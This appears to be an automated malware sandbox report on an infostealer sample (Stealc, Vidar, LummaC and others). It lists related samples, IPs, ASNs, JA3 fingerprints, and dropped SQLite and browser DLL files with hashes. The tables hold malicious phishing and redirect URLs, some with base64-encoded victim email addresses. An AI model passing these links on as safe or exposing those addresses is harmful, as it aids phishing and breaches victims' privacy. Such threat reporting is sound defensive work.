	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.245.60.72
	http://www.drawnames.com/wishlist/add/GeoZyywvK48h1oNNizPuIQ-/W47fz4Y7Ik4eooK-94HN8w-	Get hash	malicious	Unknown	Browse	18.244.18.27
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse	18.245.60.72
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.65.39.56
	Launcher 1.0.0.exe	Get hash	malicious	Unknown	Browse	18.244.18.122
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	https://www.google.es/url?q=queryrp18(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3D&sa=t&url=amp%2fpreview.adope.jp%2fod%2f8gqnmo6zgfuuc6sej4k7rfdswihr8l%2fZnJhbnMuZW5nZWxicmVjaHRAYXJkYWdoZ3JvdXAuY29t$?	Get hash	malicious	Unknown	Browse	40.101.138.2
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.99.185.48
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	xd.spc.elf	Get hash	malicious	Mirai	Browse	40.85.242.46
	xd.arm5.elf	Get hash	malicious	Mirai	Browse	20.191.212.7
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	https://www.google.es/url?q=queryrp18(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3D&sa=t&url=amp%2fpreview.adope.jp%2fod%2f8gqnmo6zgfuuc6sej4k7rfdswihr8l%2fZnJhbnMuZW5nZWxicmVjaHRAYXJkYWdoZ3JvdXAuY29t$?	Get hash	malicious	Unknown	Browse	40.101.138.2
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.99.185.48
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	xd.spc.elf	Get hash	malicious	Mirai	Browse	40.85.242.46
	xd.arm5.elf	Get hash	malicious	Mirai	Browse	20.191.212.7
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	BankInformation.vbe	Get hash	malicious	AgentTesla	Browse	20.109.210.53 40.126.32.133 184.28.90.27 13.107.246.45
	https://microsoft-outlook-microsoft-outlook.chicken10.com.br/?no=Y2hyaXN0b3BoZS50aWJlcmdoaWVuQGRhaWljaGktc2Fua3lvLmZy$	Get hash	malicious	Unknown	Browse	20.109.210.53 40.126.32.133 184.28.90.27 13.107.246.45
	http://jjjhbjhbhbjhbjhjhbhjjbjhbjbhj.chicken10.com.br	Get hash	malicious	Unknown	Browse	20.109.210.53 40.126.32.133 184.28.90.27 13.107.246.45
	https://www.google.es/url?q=queryv74r(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3D&sa=t&url=amp%2fsafrareal.com.br%2fyoya%2ffgrj51wlg4hpmojtxiyxnyzohnhtcnag3r36o/bXVyYXQuZGV2cmFub2dsdUBkYWlpY2hpLXNhbmt5by5ldQ==$?	Get hash	malicious	Unknown	Browse	20.109.210.53 40.126.32.133 184.28.90.27 13.107.246.45
	https://urlsand.esvalabs.com/?u=https%3A%2F%2Fwww.google.es%2Furl%3Fq%3Dquerydvj3%28spellCorrectionEnabled%253Atrue%252CrecentSearchParam%253A%28id%253A3891228890%252CdoLogHistory%253Atrue%29%252Cfilters%253AList%28%28type%253AREGION%252Cvalues%253AList%28%28id%253A103644278%252Ctext%253AUnited%252520States%252CselectionType%253AINCLUDED%29%29%29%29%252Ckeywords%253Aremote%29%26sessionId%3D5NTcRf4wT3OOZdAOuNu6%252FQ%253D%253Dquery%28spellCorrectionEnabled%253Atrue%252CrecentSearchParam%253A%28id%253A3891228890%252CdoLogHistory%253Atrue%29%252Cfilters%253AList%28%28type%253AREGION%252Cvalues%253AList%28%28id%253A103644278%252Ctext%253AUnited%252520States%252CselectionType%253AINCLUDED%29%29%29%29%252Ckeywords%253Aremote%29%26sessionId%3D5NTcRf4wT3OOZdAOuNu6%252FQ%253D%253Dquery%28spellCorrectionEnabled%253Atrue%252CrecentSearchParam%253A%28id%253A3891228890%252CdoLogHistory%253Atrue%29%252Cfilters%253AList%28%28type%253AREGION%252Cvalues%253AList%28%28id%253A103644278%252Ctext%253AUnited%252520States%252CselectionType%253AINCLUDED%29%29%29%29%252Ckeywords%253Aremote%29%26sessionId%3D5NTcRf4wT3OOZdAOuNu6%252FQ%253D%253Dquery%28spellCorrectionEnabled%253Atrue%252CrecentSearchParam%253A%28id%253A3891228890%252CdoLogHistory%253Atrue%29%252Cfilters%253AList%28%28type%253AREGION%252Cvalues%253AList%28%28id%253A103644278%252Ctext%253AUnited%252520States%252CselectionType%253AINCLUDED%29%29%29%29%252Ckeywords%253Aremote%29%26sessionId%3D5NTcRf4wT3OOZdAOuNu6%252FQ%253D%253D%26sa%3Dt%26url%3Damp%252fsafrareal.com.br%252fyoya%252fcwvw6vvf1g5bqgkdfsxdiiczthvxp3de8xxbs%2FcG1lQGZlZGVnYXJpYXNpYS5jb20%3D%24%3F&e=24a2acfd&h=70c4a2f4&f=n&p=y	Get hash	malicious	Unknown	Browse	20.109.210.53 40.126.32.133 184.28.90.27 13.107.246.45
	https://pxc.etemenonfor.com/lyKCxL5/#Ipoeschl@poeschl-tobacco.de	Get hash	malicious	Unknown	Browse	20.109.210.53 40.126.32.133 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	20.109.210.53 40.126.32.133 184.28.90.27 13.107.246.45
	https://kunnskapsfilm.no	Get hash	malicious	Unknown	Browse	20.109.210.53 40.126.32.133 184.28.90.27 13.107.246.45
	https://www.google.es/url?q=queryrp18(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3D&sa=t&url=amp%2fpreview.adope.jp%2fod%2f8gqnmo6zgfuuc6sej4k7rfdswihr8l%2fZnJhbnMuZW5nZWxicmVjaHRAYXJkYWdoZ3JvdXAuY29t$?	Get hash	malicious	Unknown	Browse	20.109.210.53 40.126.32.133 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.109.210.53 40.126.32.133 184.28.90.27 13.107.246.45

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAAAKJKJEBGHJKFHIDGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AKEBFCFIJJKKECAKJEHDAAFIEG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAEBGHDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CGDBGCBG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2651063460785137
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMRSAELyKOMq+8HKkjucswRv8p3nVumA:K0q+n0JR9ELyKOMq+8HKkjuczRv898
MD5:	F23277BBA83D9EC6F332340F238375AB
SHA1:	975E8BC9132EAA7B456C65F31170AEEF54B1DDDD
SHA-256:	ED4602A9B0A584D176DD6B3AC87772E1EFBDA217237619198B903A90BE81D79E
SHA-512:	83C2F39B34A3258AEF97924DDE35C6C49265B577E2C53C3A41514CEF92C63B96E7ED6E9945D6B4D1798FCD8F5F86FAAF6E5043BCE7226360780E5871CD30B8BE
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAKFIDHDGIEGCAKFIIJKFCBFBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECAFHDBGHJKFIDHJJJEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHDGCGIDAKEBKECAFIEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.514140640374404
Encrypted:	false
SSDEEP:	192:lLnSRkPYbBp6tqUCaXr6V6kHNBw8D3nSl:NeqqUWpPwK0
MD5:	7E44458E0A8A3A7D10875BC3B7AE72D1
SHA1:	E5E6AC8676EE3761DAB13A10EB7573C19F48D297
SHA-256:	21A04E176A9CEBDA60AE6FD82A7495C6E0867ED02B8009A44DDC9863E14D8753
SHA-512:	012ED6CDC0802AA1063EFE841549341CC86EB626A26FC4BDC509598D8E33093296510344A2CC4419B007F6191F3445DA8F0AAE3B1626E54C1EF66DDDF3FA59B1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: S0FTWARE.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
